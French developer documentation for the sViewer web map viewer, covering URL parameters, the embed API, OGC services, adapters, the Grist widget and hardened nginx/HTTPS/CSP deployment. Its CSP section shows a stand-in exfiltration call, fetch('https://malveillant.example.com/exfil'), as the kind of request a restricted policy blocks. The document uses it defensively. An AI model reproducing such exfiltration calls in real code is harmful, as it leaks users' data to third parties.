Guide technique complet pour développeurs et intégrateurs..
- Mode Simple : Paramètres KVP
- Mode WebComponent : API JavaScript
- Configuration Avancée
- Services OGC et Données
- Projections et Repères
- Requêtes Cartographiques
- Intégration geOrchestra
- Progressive Web App (PWA)
- Internationalization (i18n)
- Architecture et API Interne
- Dépannage
https://my-sviewer.example.org/sviewer/?param1=valeur1¶m2=valeur2
Les paramètres sont traités comme des chaînes de caractères. Les URL doivent être encodées (ex: espace = %20).
Positionne la carte et définit le niveau de zoom.
x,y: Coordonnées en EPSG:3857 (Web Mercator) ou EPSG:4326 (longitude/latitude) — détection automatiquez: Niveau de zoom (0-18), entier
?x=-366959&y=2951352&z=5
?x=-3.36&y=48.11&z=5
Détection automatique EPSG:4326 / EPSG:3857 : si |x| ≤ 180 et |y| ≤ 180, les coordonnées sont interprétées comme longitude/latitude (EPSG:4326) et reprojetées automatiquement. Sinon, interprétées comme EPSG:3857. Les deux formats sont donc acceptés sans paramètre supplémentaire.
Affiche un titre personnalisé au-dessus de la carte.
?title=Carte%20d'exemple
Restrictions : Texte court (~30 chars) recommandé pour affichage mobile.
Sélectionne la fond de carte (background layer) par index.
?lb=0 # Première fond de carte
?lb=1 # Deuxième fond de carte
Configuration : Les données disponibles sont définies dans local/customConfig.js → layersBackground[]. L'index par défaut est 0.
Ajoute une ou plusieurs données WMS à la carte. Format : liste séparée par des virgules.
Syntaxe basique :
?layers=namespace:layername
Avec style personnalisé :
?layers=namespace:layername*stylename
Avec filtre CQL :
?layers=namespace:layername*stylename*CQL_FILTER
Exemples :
?layers=geor:ma_donnee
?layers=geor:commune*orange
?layers=geor:commune*orange*population>50000
Cas d'usage:
- Les données doivent être publiées sur un serveur OGC (geOrchestra, GeoServer, etc.)
- Si
geOrchestraBaseUrlest configuré, sViewer construit automatiquement les URLs WMS - Les styles doivent exister sur le serveur pour être appliqués
- Les filtres CQL utilisent la syntaxe OGC standard
Charge automatiquement une ou plusieurs données WMS depuis des identifiants de fiches de métadonnées CSW (ISO 19139). Plusieurs identifiants séparés par des virgules chargent autant de données en parallèle.
?md=<identifiant-csw>
?md=<id1>,<id2>,<id3>
?md=<id>@<csw-endpoint>
Comportement :
- Interroge le CSW (
geOrchestraBaseUrl/geonetwork/srv/eng/cswpar défaut, ou l'endpoint précisé viaid@url) pour résoudre l'URL WMS et le nom de chaque donnée - Affiche titre, résumé et légende depuis chaque fiche (un panneau par métadonnée)
- Titre automatique de la carte : uniquement si un seul
md=— ambigu avec plusieurs, utiliser&title=explicitement - Ignoré si
layers=est aussi présent (layers=est prioritaire) - Inclus dans le permalien si
layers=est absent (identifiants rejoints par virgule)
→ Voir Services OGC — CSW pour le détail.
Active une requête automatique au démarrage sur les données visibles.
?layers=geor:commune&q=1
?geojson=https://…/data.geojson&q=1
Comportement WMS :
- Exécute un GetFeatureInfo au centre de la vue initiale
- Affiche les résultats dans le panneau Résultats
- Nécessite au moins une donnée queryable (attribut
queryable="1"en WMS)
Comportement GeoJSON :
- Après chargement des entités, recherche l'entité la plus proche du centre de la vue (hit-test pixel, tolérance 32 px, puis fallback
getClosestFeatureToCoordinate) - Affiche ses propriétés dans le panneau Résultats
- Fonctionne avec tout adaptateur (
?geojson=, Grist, CSV…)
Active la barre de recherche au démarrage.
?s=1
?geojson=https://…/data.geojson&s=1
Services interrogés :
- IGN Géoplateforme (ou
customConfig.openLSGeocodeUrl) - WFS de chaque donnée queryable (si disponible et CORS OK)
- Entités GeoJSON chargées — recherche en mémoire sur toutes les propriétés scalaires (string, nombre, date), résultats limités à
config.maxWfsSearchFeatures
CORS : Géoplateforme et services WFS doivent supporter CORS. La recherche GeoJSON est en mémoire — aucun appel réseau.
Applique des filtres CQL aux données déjà chargées via layers=, sans les réencoder dans la chaîne layers. Format : liste séparée par des points-virgules, un filtre par donnée dans l'ordre de layers=.
?layers=ns:a,ns:b&qcl_filters=population>50000;commune='Strasbourg'
Filtre vide possible : qcl_filters=;commune='Strasbourg' (pas de filtre sur la première donnée).
Non-persistant (absent du permalien).
Thème d'affichage. Sans paramètre, suit prefers-color-scheme du système.
| Valeur | Effet |
|---|---|
theme=light |
Thème clair forcé |
theme=dark |
Thème sombre forcé |
Persistant dans le permalien si ≠ light.
Opacité initiale de toutes les données (hors fonds de carte). Plage : 0–1. Défaut : 1 (valeur layerOpacity de customConfig).
?opacity=0.6
Persistant dans le permalien si ≠ 1.
Active le suivi GPS au chargement.
?position=1
Persistant dans le permalien si GPS actif.
Géocode silencieusement une adresse au chargement et recentre la carte.
?address=4+rue+du+D%C3%B4me%2C+Strasbourg
- Score IGN ≥ 0.8 → recentrage silencieux + marqueur
- Score < 0.8 → ouvre le panneau de recherche avec les résultats pour sélection manuelle
- Compatible embed :
SViewer.init('#map', { address: 'Strasbourg' })
Non-persistant (absent du permalien).
Charge un fichier GeoJSON distant comme données vectorielles interactives.
?geojson=https://raw.githubusercontent.com/user/repo/main/data.geojson
?geojson=https://data.gouv.fr/.../dataset.geojson
- Supporte points, lignes et polygones (collections mixtes comprises)
- Clic sur un objet → affiche ses propriétés dans le panneau d'info
- CORS requis sur le serveur source
- Composable avec
?layers=: superpose les données GeoJSON à des données WMS - Compatible embed :
SViewer.init('#map', { geojson: 'https://...' }) - Si une entité possède une propriété
_label, celle-ci est affichée comme étiquette texte sur la carte - Si l'URL source n'est pas un GeoJSON natif, les adaptateurs déclarés dans
customConfig.adapterssont essayés dans l'ordre pour normaliser la réponse (voir Adaptateurs JSON) - Simplification géométrique automatique : si le nombre total de sommets dépasse le seuil (25 000 sur mobile, 100 000 sur desktop), les géométries lignes et polygones sont simplifiées à la volée (tolérance 10 m mobile / 20 m desktop). Les points ne sont pas affectés. Transparent pour l'utilisateur.
Persistant dans le permalien et le code embed.
Désigne la propriété GeoJSON à afficher comme étiquette sur chaque entité. Utile quand la source ne contient pas de propriété _label.
?geojson=https://…&label=nom
?geojson=https://…&label=numero
- Copie la valeur de la propriété nommée vers
_labelsur chaque entité après chargement - Sans effet si la propriété n'existe pas sur une entité donnée
- Persistant dans le permalien
| Valeur | Effet |
|---|---|
debug=true |
Active les logs console (diagnostic WMS, CORS, AJAX) |
debug=1 |
Charge sviewer.js et sviewer.css non-minifiés (indépendant de debug=true) |
Non-persistant (absent du permalien).
Force la langue de l'interface (priorité sur customConfig.lang et la détection navigateur).
?lang=fr
?lang=en
Code ISO 639-1 à 2 lettres. Langues disponibles : voir hardConfig.i18n dans js/i18n.js. Non-persistant.
Charge une configuration alternative au lieu de customConfig.js.
?c=ma_config
Mécanisme :
- Charge dynamiquement
local/customConfig_ma_config.js - Écrase les paramètres par défaut avec les valeurs de cette configuration
- Restrictions de nom :
[a-zA-Z0-9_-]+uniquement
Permalien (lien partageable) :
x,y,zlayersmd(silayers=absent)q,sc,lb,themeopacity(si ≠ 1)position(si GPS actif)geojson(si présent)
Code d'intégration WebComponent :
x,y,zlayersmd(silayers=absent)titlec,lb,themeopacity(si ≠ 1)position(si GPS actif)geojson(si présent)
Le paramètre debug n'est pas persistant.
<div id="ma-carte"></div>
<script src="https://my-sviewer.example.org/sviewer/static/js/embed.min.js"></script>
<script>
SViewer.init('#ma-carte', options);
</script>Les options passées à SViewer.init() utilisent exactement les mêmes noms que les paramètres KVP du mode simple. customConfig.js est chargé en premier, puis les options embed s'appliquent par-dessus.
| Option | Type | Équivalent KVP | Description |
|---|---|---|---|
x |
number |
?x= |
Longitude initiale (EPSG:3857 ou 4326 — détection auto) |
y |
number |
?y= |
Latitude initiale (EPSG:3857 ou 4326 — détection auto) |
z |
number |
?z= |
Niveau de zoom (0-18) |
title |
string |
?title= |
Titre de la carte |
lb |
number |
?lb= |
Index du fond de carte |
layers |
string |
?layers= |
Données à afficher (séparées par virgules) |
c |
string |
?c= |
Nom du profil de configuration alternatif |
theme |
string |
?theme= |
Thème d'affichage : light (défaut) ou dark. Sans paramètre : suit prefers-color-scheme |
opacity |
number |
?opacity= |
Opacité des données (0–1, défaut : 1) |
position |
1 |
?position=1 |
Active le suivi GPS au chargement |
geojson |
string |
?geojson= |
URL d'un fichier GeoJSON à charger comme données vectorielles (CORS requis) |
Le bouton HTML du panneau de partage génère automatiquement un fragment SViewer.init() pour la vue courante.
Exemple minimal :
SViewer.init('#ma-carte', {
x: -366959,
y: 2951352,
z: 5
});Exemple avec données :
SViewer.init('#ma-carte', {
x: 0,
y: 2000000,
z: 6,
title: 'Ressources nationales',
layers: 'geor:commune,geor:departement'
});Exemple complet :
SViewer.init('#ma-carte', {
x: -390192,
y: 6122108,
z: 10,
lb: 1,
layers: 'dreal_b:ae_casparcas',
title: 'Evaluation Environnementale'
});La configuration centralisée d'une instance sViewer se fait dans local/customConfig.js. Vous devez être familier avec OpenLayers pour la modifier.
Structure :
customConfig = {
title: 'sViewer',
lang: 'fr',
geOrchestraBaseUrl: 'https://my-georchestra.example.org',
initialExtent: [-600000, 6090000, -100000, 6100000],
maxExtent: [-20037508.34, -20037508.34, 20037508.34, 20037508.34],
restrictedExtent: [-20037508.34, -20037508.34, 20037508.34, 20037508.34],
center: [-350000, 6150000], // vue initiale : centre (EPSG:3857), priorité sur initialExtent
zoom: 10, // vue initiale : niveau de zoom, priorité sur initialExtent
maxFeatures: 10,
maxGeocodeResults: 5,
maxWfsSearchFeatures: 8,
nodata: '<!--nodatadetect-->\n<!--nodatadetect-->',
openLSGeocodeUrl: "https://data.geopf.fr/geocodage/search",
allowedDomains: [], // optionnel — [] = tous les domaines autorisés
geojsonStyle: { // style des données GeoJSON (?geojson=)
color: '#ff6600',
fillOpacity: 0.35,
strokeWidth: 4,
selectionColor: '#ee7733'
},
layerOpacity: 1, // opacité initiale des données WMS (0–1)
searchPlaceholder: 'adresse, lieu-dit, commune...',
gpsTrackingInterval: 5, // secondes entre deux mises à jour GPS
gpsTrackingTimeout: 300, // arrêt auto GPS après N secondes (0 = jamais)
extensions: ['grist', 'my-extension'], // → voir ext/EXT_API.md — adapters register via SViewer.registerAdapter()
layersBackground: [ /* ... */ ],
backgroundPresets: [ /* ... */ ] // → voir section Presets fonds de carte
};Opacité initiale de toutes les données WMS (hors fonds de carte). Plage : 0–1. Défaut : 1. Équivalent persistant du paramètre URL ?opacity=.
layerOpacity: 0.8Texte affiché dans la barre de recherche quand elle est vide.
searchPlaceholder: 'adresse, lieu-dit, commune...'Fonction de normalisation des réponses du service de géocodage. Obligatoire si openLSGeocodeUrl pointe vers un service non compatible IGN Géoplateforme (ex: Nominatim). Reçoit la réponse JSON parsée, retourne un tableau d'objets { label, coords, score, zoom }.
// IGN Géoplateforme (défaut — inutile de le déclarer)
geocodeAdapter: function(response) {
return (response.features || []).map(function(f) {
var zoomByType = { municipality: 13, street: 17, housenumber: 18 };
return {
label: f.properties.label,
coords: f.geometry.coordinates, // [lon, lat]
score: f.properties.score || 0,
zoom: zoomByType[f.properties.type] || 16
};
});
},
// Nominatim (OpenStreetMap)
openLSGeocodeUrl: 'https://nominatim.openstreetmap.org/search',
geocodeParams: { format: 'json' },
geocodeAdapter: function(response) {
return (response || []).map(function(r) {
var zoomByType = { city: 12, town: 13, village: 14, road: 16, house: 18 };
return {
label: r.display_name,
coords: [parseFloat(r.lon), parseFloat(r.lat)],
score: 0.5,
zoom: zoomByType[r.type] || 14
};
});
}Contrôle le suivi GPS (?position=1).
| Clé | Défaut | Description |
|---|---|---|
gpsTrackingInterval |
5 |
Secondes entre deux mises à jour de position |
gpsTrackingTimeout |
0 |
Arrêt automatique après N secondes (0 = jamais) |
gpsTrackingInterval: 5,
gpsTrackingTimeout: 300 // arrêt après 5 minutesTrois étendues contrôlent le comportement de la carte :
initialExtent: Zone affichée au démarragemaxExtent: Limite du panoramique (pan limits)restrictedExtent: Limite du zoom (zoom limits)
Format : [minX, minY, maxX, maxY] en EPSG:3857.
Exemple :
initialExtent: [-600000, 6090000, -100000, 6100000],
maxExtent: [-20037508, -20037508, 20037508, 20037508],
restrictedExtent: [-20037508, -20037508, 20037508, 20037508]Configuration des fonds de carte disponibles dans le sélecteur.
Utiliser ol.source.XYZ pour les services TMS/slippy map. Pour WMTS (meilleur rendu), utiliser un IIFE pour éviter les variables globales :
layersBackground: [
// WMTS — meilleur rendu que TMS pour la Géoplateforme IGN
new ol.layer.Tile({
source: new ol.source.WMTS((function() {
var proj = ol.proj.get('EPSG:3857');
var ext = proj.getExtent();
var res = [156543.03392811998,78271.51696419998,39135.758481959984,19567.879241008988,9783.939620504494,4891.969810252247,2445.9849051261233,1222.9924525765016,611.4962262882508,305.74811314412537,152.87405657206268,76.43702828603134,38.21851414301567,19.109257071507836,9.554628535753918,4.777314267876959,2.3886571339384795,1.1943285669692398,0.5971642834846199,0.29858214174231994];
return {
attributions: ['© IGNF BD ORTHO'],
url: 'https://data.geopf.fr/wmts',
layer: 'ORTHOIMAGERY.ORTHOPHOTOS',
matrixSet: 'PM',
format: 'image/jpeg',
projection: proj,
tileGrid: new ol.tilegrid.WMTS({
origin: ol.extent.getTopLeft(ext),
resolutions: res,
matrixIds: ['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19']
}),
style: 'normal',
crossOrigin: 'anonymous'
};
})()),
title: 'Photos aériennes IGN'
}),
// TMS — utiliser ol.source.XYZ pour les services slippy map
new ol.layer.Tile({
source: new ol.source.XYZ({
attributions: ['Contributeurs OpenStreetmap'],
url: 'https://my-tileserver.example.org/osm/tms/osm:grey/EPSG3857/{z}/{x}/{-y}.png',
maxResolution: 78271.51696402048,
crossOrigin: 'anonymous'
}),
title: 'Carte OpenStreetmap'
})
]Notes :
- Chaque donnée doit avoir un attribut
title - Toutes les donnée doivent être en EPSG:3857
crossOrigin: 'anonymous'requis sur toutes les sources pour que la fonction snapshot fonctionne- WMTS Géoplateforme : utiliser un IIFE (
(function(){ ... })()) pour éviter les variables globales - Services TMS geopf (
data.geopf.fr/tms) : Y-axis = XYZ standard ({y}), malgré le profil TMS déclaré - Services TMS MapProxy : Y-axis = TMS inversé (
{-y}),maxResolutionrequis car la grille démarre à zoom 0 = 78271 m/px (décalage d'un niveau vs grille OL standard)
backgroundPresets remplace layersBackground seul quand on veut combiner fond de carte et données superposées en un seul clic. Chaque preset pilote atomiquement layersBackground[lb] et layersOverlay[lo].
backgroundPresets: [
{ lb: 0, lo: -1, title: 'Photo aérienne' },
{ lb: 0, lo: 0, title: 'Photo aérienne + noms de lieux' },
{ lb: 1, lo: -1, title: 'OpenStreetMap' }
]| Clé | Type | Description |
|---|---|---|
lb |
number |
Index dans layersBackground[] |
lo |
number |
Index dans layersOverlay[] — -1 = aucune donnée superposée |
title |
string |
Libellé affiché dans le sélecteur de fond |
Comportement : si backgroundPresets est défini et non vide, il prend la main sur layersBackground seul. Le paramètre ?lb= pointe alors sur l'index du preset, pas sur l'index du fond.
layersBackground seul (mode legacy) reste supporté mais déconseillé pour les nouvelles configs.
Configuration du service d'adresses (recherche de lieux) :
openLSGeocodeUrl: "https://data.geopf.fr/geocodage/search"Le service doit :
- Supporter l'API OpenLS (standard OGC)
- Accepter les requêtes GET/POST JSON
- Supporter CORS
La clé geojsonStyle contrôle l'apparence des données vectorielles chargées via ?geojson=.
geojsonStyle: {
color: '#ff6600', // couleur contour + remplissage des points (CSS color)
fillOpacity: 0.35, // opacité du remplissage polygone (0–1)
strokeWidth: 4, // épaisseur du trait lignes/polygones en pixels
selectionColor: '#ee7733' // couleur de l'entité sélectionnée au clic
}colors'applique au trait et au remplissage des points — les polygones utilisentcolor+fillOpacitypour le fond- Lignes et polygones ont un liseré blanc automatique pour la lisibilité sur tout fond de carte
- Cliquer sur une entité l'affiche en
selectionColor; cliquer ailleurs désélectionne - Valeurs par défaut : orange
#ff6600, opacité0.35, trait4 px, sélection#ee7733 - Si une entité possède une propriété
_label, elle est affichée comme étiquette texte au-dessus de l'entité
Les adaptateurs normalisent les réponses d'APIs non-GeoJSON (Grist, ArcGIS REST…) en FeatureCollection pour affichage via ?geojson=.
Activer un adaptateur — ajouter son nom dans customConfig.js :
extensions: ['grist']Chaque nom correspond à ext/{nom}/extension.js. Seuls les adaptateurs fournis avec sViewer sont supportés (pas de chemin externe).
Adaptateurs disponibles
| Nom | API supportée |
|---|---|
grist |
Grist /api/docs/…/tables/…/records |
csv |
Fichiers CSV (, ou ;), colonnes lat/lon auto-détectées ou colonne géométrie GeoJSON/WKT. Extension .csv ou hint ?_format=csv. |
Plusieurs adaptateurs — listés dans l'ordre de priorité. Chaque adaptateur déclare un match(url) qui limite son activation à certaines URLs source :
extensions: ['grist', 'arcgis']Écrire son propre adaptateur — créer ext/monadaptateur/extension.js :
SViewer.registerAdapter('monadaptateur', {
match: function(url) { return url.indexOf('monapi.example.com') !== -1; },
convert: function(response, sourceUrl) {
// retourner un GeoJSON FeatureCollection (EPSG:4326)
return null;
}
});match est optionnel — sans match, l'adaptateur est appelé pour toutes les URLs (fallback).
Utiliser SViewer.registerAdapter() et non window.SViewer.adapters[key] = directement.
Paramètres hint Grist — le widget Grist encode des hints géométriques dans l'URL source pour bypasser l'auto-détection :
| Paramètre | Rôle |
|---|---|
_geommode |
Mode : geojson, latlon, latlon_str, lonlat_str, wkt |
_geomcol |
Colonne géométrie (modes geojson, latlon_str, lonlat_str, wkt) |
_collat |
Colonne latitude (mode latlon) |
_collon |
Colonne longitude (mode latlon) |
_labelcol |
Colonne étiquette → propriété _label sur chaque feature |
En l'absence de hints, l'adaptateur Grist auto-détecte la géométrie (candidats : geometry, geom, geo, shape, wkb_geometry ; puis paire lat/lon).
Par défaut, sViewer accepte toute URL HTTPS comme endpoint OGC (WMS, WFS, CSW). Pour restreindre les domaines autorisés :
allowedDomains: ['my-georchestra.example.org', 'data.geopf.fr']- Absent ou
[]: tous les domaines autorisés (comportement par défaut, compatible avec les configs existantes) - La correspondance est exacte ou par sous-domaine :
'example.org'autorise aussitiles.example.org - S'applique aux quatre points d'entrée : URL WMS personnalisée (
?layers=ns:layer@url), URL WMS extraite d'un enregistrement CSW, URL WFS découverte via DescribeLayer, URL GeoJSON (?geojson=) - En cas de blocage, un avertissement est émis en console (
sViewer: blocked … not in allowedDomains)
Par défaut, les extensions sont chargées au démarrage depuis customConfig.extensions et le paramètre URL ?ext=. Depuis sViewer 0.14.1, l'API SViewer.loadExtension(name) permet de charger une extension après le boot.
Usages typiques :
- sélecteur de profils (page d'accueil → clic carte → chargement des extensions du profil)
- activation à la demande (extension lourde chargée seulement à la première utilisation)
- composition depuis la page hôte (parent
postMessage→ sViewer charge l'extension demandée) - auto-installation à la restauration (carte enregistrée référence
?ext=print→mechargeprintsi absent)
SViewer.loadExtension('me')
.then(function (name) { /* extension active */ })
.catch(function (err) {
// err.code : invalid-name | manifest-fetch | manifest-parse |
// version-mismatch | script-load
});
SViewer.hasExtension('me'); // boolean
SViewer.loadedExtensions(); // ['me', 'print', …] — snapshotComportement :
- Idempotent : si déjà chargée, résolution immédiate avec le nom.
- Déduplication des appels concurrents : un seul fetch, Promise partagée.
- Vérifie
manifest.json.sviewer.minVersioncontreSViewer.versionavant de charger le script. - Les extensions UI utilisant
SViewer.onMapReady(fn)fonctionnent telles quelles : le callback se déclenche synchroniquement pour les abonnés tardifs si la carte est déjà prête. - Les adaptateurs (
SViewer.registerAdapter) s'enregistrent immédiatement et sont disponibles pour les prochains?geojson=; les données déjà chargées ne sont pas re-parsées rétroactivement (déclencher une actualisation manuellement).
Limites :
- Une extension qui écoute des événements globaux dès le top scope (par exemple
supersetqui écoute les messagespostMessageenvoyés par la page parente) peut manquer les événements émis avant la fin du chargement. Documenter ces extensions comme « boot-only ». - Aucune API de déchargement (
unloadExtension) : un bouton de barre d'outils injecté reste en place. Les extensions doivent gérer leur propre cycle d'activation/désactivation.
Le HTML passé à SViewer.panel.open() et SViewer.panel.update() est sanitisé avant injection dans le DOM. La sanitisation supprime :
- les éléments
<script> - les attributs de gestionnaire d'événements (
on*:onerror,onclick,onload, etc.)
Pourquoi : les extensions sont du code déployeur, mais elles peuvent refléter des données d'API tierces non maîtrisées. La sanitisation coupe le vecteur XSS sans changer l'API.
Conséquence pour les extensions : ne pas utiliser de gestionnaires onclick= inline dans le HTML passé au panneau — utiliser addEventListener après rendu :
SViewer.panel.open('myext', 'Mon outil', '<button id="my-btn">Lancer</button>');
document.getElementById('my-btn').addEventListener('click', myHandler);La sanitisation n'affecte pas le HTML statique injecté directement par l'extension dans le DOM via document.createElement().
Attention : ne jamais servir le dossier
sviewer/sans configuration nginx (ou Apache) dédiée.
Le dossier contient des fichiers non destinés au public : outils de build (scripts/), sources OpenLayers (build/ol-custom-entry.js), manifestes npm (package.json, package-lock.json), configuration de postcss, etc. Un serveur configuré en mode "liste les fichiers du dossier" ou sans restriction de chemin expose ces fichiers à tout visiteur.
Règle : utiliser le snippet nginx fourni (deploy/nginx/nginx-server.conf), qui applique une liste blanche stricte — seuls les chemins explicitement autorisés sont servis, tout le reste retourne 404.
Chemins bloqués par défaut : node_modules/, scripts/, build/ol-custom-entry.js, package.json, postcss.config.js, tous les fichiers .md, .sh, .py, .bak, .log et les dotfiles.
Bloc ext/superset/dist/ : le bundle plugin Superset est servi avec Access-Control-Allow-Origin: * — requis pour que Superset puisse le charger depuis une origine différente. Ce bloc doit précéder le bloc ext/ générique dans la config nginx (ordre de priorité des location ~).
Cache static/ : depuis 0.13.0, les assets static/ (hors static/lib/) sont servis avec Cache-Control: no-cache, must-revalidate au lieu de max-age=3600 — le navigateur revalide via ETag à chaque visite, évitant les assets périmés après une mise à jour.
Si vous utilisez Apache, reproduisez la même logique avec Require all denied sur les répertoires sensibles et Require all granted uniquement sur les chemins publics.
sViewer doit être déployé exclusivement en HTTPS.
Raisons :
- Intégrité des extensions —
SViewer.loadExtension(name)et le boot loader chargentext/<name>/extension.jsdepuis le même origine que sViewer. Si sViewer est servi en HTTP, un attaquant en position d'homme du milieu (wifi public, FAI hostile, proxy d'entreprise compromis) peut substituer le code de n'importe quelle extension → exécution de code arbitraire dans l'origine sViewer = vol de session, persistance vialocalStorage, XSS persistant. - Cartes enregistrées (
ext/me) — les URLs sauvegardées et exportées en JSON sont validées : seul HTTPS est accepté à l'ouverture (exception : HTTP même origine, pour le dev local). Un déploiement en HTTP ferait apparaître des messages « URL refusée » sur toute carte enregistrée pointant vers un autre serveur. - OGC — règle déjà imposée par le code (
CLAUDE.md) : les services WMS/WFS/CSW doivent être HTTPS, comportement renforcé par la politique mixed-content du navigateur. - RGPD — pour le secteur public français (audience cible), HTTPS est obligatoire pour tout traitement de données personnelles.
Configuration minimale recommandée :
# Redirection HTTP → HTTPS au niveau du serveur global
server {
listen 80;
server_name votre-domaine.fr;
return 301 https://$host$request_uri;
}
# Bloc HTTPS principal — applique le snippet sViewer
server {
listen 443 ssl http2;
server_name votre-domaine.fr;
# … certificats Let's Encrypt ou équivalent …
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
# … inclure deploy/nginx/nginx-server.conf …
}Strict-Transport-Security (HSTS) force le navigateur à utiliser HTTPS même si l'utilisateur tape http:// — protection supplémentaire contre les attaques de downgrade.
Développement local : http://localhost/sviewer/ est toléré par ext/me (même origine = exception). Aucune dérogation pour des origines tierces en HTTP.
La CSP par défaut (deploy/nginx/nginx-server.conf) inclut connect-src 'self' https: — sViewer et ses extensions peuvent appeler n'importe quelle URL HTTPS. Acceptable pour la majorité des déploiements, mais permet à une extension malveillante (ou compromise) d'exfiltrer des données vers un serveur tiers.
Pour les déploiements sensibles, restreindre connect-src à la liste explicite des origines attendues :
# Exemple : sViewer + IGN Géoplateforme + geOrchestra local + Nominatim
add_header Content-Security-Policy "default-src 'none'; \
script-src 'self' 'sha256-…'; \
style-src 'self' 'unsafe-inline'; \
img-src 'self' data: blob: https:; \
font-src 'self'; \
connect-src 'self' https://data.geopf.fr https://wxs.ign.fr https://geo.votre-collectivite.fr https://nominatim.openstreetmap.org; \
manifest-src 'self'; base-uri 'self'; form-action 'none'; frame-ancestors *; \
upgrade-insecure-requests;" always;Effet : si une extension tente fetch('https://malveillant.example.com/exfil'), le navigateur bloque la requête et émet une violation CSP dans la console. Combiné avec report-uri ou report-to, permet d'auditer les tentatives en production.
Compromis : maintenance de la liste à chaque ajout de source de données. Solution : générer la liste depuis customConfig.js (backends, allowedDomains, etc.) via un script de déploiement.
Le snippet nginx inclut un hash sha256-… dans la Content-Security-Policy pour autoriser le script inline de index.html. Si ce script est modifié, le hash doit être recalculé.
Chrome hash le contenu exact entre <script> (inclus, sans le tag) et </script> (exclu), en bytes bruts UTF-8. Formule :
python3 -c "
import hashlib, base64
with open('index.html', 'rb') as f:
raw = f.read()
body = raw.index(b'<body>')
s = raw.index(b'<script>', body) + 8 # +8 = len('<script>'), le \\n initial est inclus
e = raw.index(b'</script>', s)
print('sha256-' + base64.b64encode(hashlib.sha256(raw[s:e]).digest()).decode())
"Remplacer ensuite la valeur sha256-… dans deploy/nginx/nginx-server.conf et deploy/nginx/nginx-server-proxy.conf.
sViewer supporte WMS 1.3.0 uniquement.
sViewer lit automatiquement les capacités WMS pour :
- Obtenir les données disponibles
- Lire les métadonnées (titre, résumé)
- Déterminer si une donnée est queryable
Requête pour interroger une données à une position donnée.
URL générée :
https://serveur/geoserver/namespace/layername/wms
?REQUEST=GetFeatureInfo
&SERVICE=WMS
&VERSION=1.3.0
&LAYERS=namespace:layername
&QUERY_LAYERS=namespace:layername
&STYLES=style_name
&INFO_FORMAT=text/html
&FEATURE_COUNT=10
&CRS=EPSG:3857
&BBOX=...
&WIDTH=400&HEIGHT=300
&I=200&J=150
Configuration :
maxFeatures: nombre de résultats (défaut 10)FORMAT: toujoursimage/pngavecTRANSPARENT=true
Chaque donnée WMS doit :
- Supporter EPSG:3857 (Web Mercator)
- Avoir un attribut
queryable="1"si on souhaite l'interroger - Supporter HTTPS (pas d'URLs non chiffrées)
- Supporter CORS (pas de proxy nécessaire)
Quand md=<identifiant> est passé dans l'URL (sans layers=), sViewer interroge le CSW pour charger automatiquement une ou plusieurs données WMS depuis des fiches de métadonnées ISO 19139. Plusieurs identifiants séparés par des virgules déclenchent autant de requêtes CSW en parallèle.
URL ?md=<id1>,<id2>
│
├─ fetchCSWRecord(<id1>) ──────────────────────┐
└─ fetchCSWRecord(<id2>) (parallèle) │
▼
GET ${geOrchestraBaseUrl}/geonetwork/srv/eng/csw
?SERVICE=CSW&VERSION=2.0.2&REQUEST=GetRecordById
&Id=<id>&ElementSetName=full
&OutputSchema=http://www.isotc211.org/2005/gmd
│
▼ ISO 19139 XML
parseCSWForWMS()
XPath: //gmd:distributionInfo//gmd:CI_OnlineResource
→ trouve protocole OGC:WMS
→ extrait URL WMS (sans query string) + nom de donnée
│
▼
LayerQueryable({ skipMetadataPanel: true })
LAYERS = namespace:layername (nom complet, pas virtuel)
url = wmsUrl depuis CSW
→ map.addLayer()
│
▼
Panneau Documentation (un par métadonnée)
titre + résumé (XPath gmd:identificationInfo)
image légende (GetLegendGraphic)
lien fiche catalogue (CI_OnlineResource WWW:LINK)
tableau : date, producteur, contact, licence
Avec un seul md= : le titre de la carte est initialisé depuis la fiche. Avec plusieurs md= : aucun titre automatique — utiliser &title= explicitement.
layers= est toujours prioritaire sur md=. Si les deux sont présents, md= est ignoré (log console).
md= est inclus dans le permalink et le code d'intégration généré, à condition que layers= soit absent. Plusieurs identifiants sont rejoints par virgule.
- Par défaut, le CSW est interrogé à
${geOrchestraBaseUrl}/geonetwork/srv/eng/csw; la syntaxeid@https://csw-endpointpermet d'utiliser n'importe quel catalogue CSW - Chaque fiche doit contenir un
CI_OnlineResourceavecprotocol = OGC:WMS - Le serveur WMS doit supporter CORS
Le connecteur Grist est un widget personnalisé Grist qui affiche les données d'une table sur une carte sViewer. La synchronisation tableau → carte est supportée (sélection d'une ligne → zoom carte). La direction inverse (clic carte → sélection dans le tableau) n'est pas possible : l'API Grist setSelectedRows provoque une erreur LinkConfig invalid cycle qui casse la synchronisation tableau → carte. Clic carte = surbrillance visuelle uniquement.
Documentation complète : ext/grist/README.md
Grist document
└─ Widget personnalisé → ext/grist/index.html
├─ embed.js (charge OL, Bootstrap, crée le DOM sViewer dans #sv-map)
├─ widget.js (logique widget : Grist API, colonnes, styles, panneau config)
└─ grist-plugin-api.js (CDN docs.getgrist.com — obligatoire)
La configuration est stockée par instance via grist.widgetApi.setOptions() / getOptions(). Chaque vue (widget) d'un document Grist dispose de sa propre configuration indépendante.
Clés persistées :
| Clé | Type | Rôle |
|---|---|---|
geom_mode |
string | Mode géométrie (auto, geojson, latlon, latlon_str, lonlat_str, wkt) |
_colGeom |
string | Colonne géométrie active |
_colLat / _colLon |
string | Colonnes latitude/longitude (mode latlon) |
_colLabel |
string | Colonne étiquette |
fill_color / fill_opacity |
string/number | Style remplissage entités |
stroke_color / stroke_opacity / stroke_width |
string/number | Style contour entités |
sel_fill_color / sel_fill_opacity |
string/number | Style remplissage sélection |
sel_stroke_color / sel_stroke_opacity / sel_stroke_width |
string/number | Style contour sélection |
title |
string | Titre affiché dans la barre sViewer |
layers |
string | Couche(s) WMS additionnelles |
md |
string | Identifiant CSW |
lb |
number | Index fond de carte initial |
x / y / z |
number | Centre et zoom initiaux (EPSG:3857) |
sviewer_base |
string | URL de base sViewer (pour le lien de partage) |
grist_api_base |
string | Hôte Grist (instances auto-hébergées) |
georchestra_base |
string | Hôte geOrchestra |
fit_on_load |
boolean | Recadrage automatique sur les données |
Lorsque l'utilisateur clique sur Partager dans sViewer, l'URL générée inclut ?geojson= pointant vers l'API Grist avec des paramètres hint encodés par buildGristGeojsonUrl() dans widget.js :
?geojson=https://docs.getgrist.com/api/docs/{docId}/tables/{tableId}/records
?_geommode=latlon_str&_geomcol=geo_point_2d&_labelcol=nom
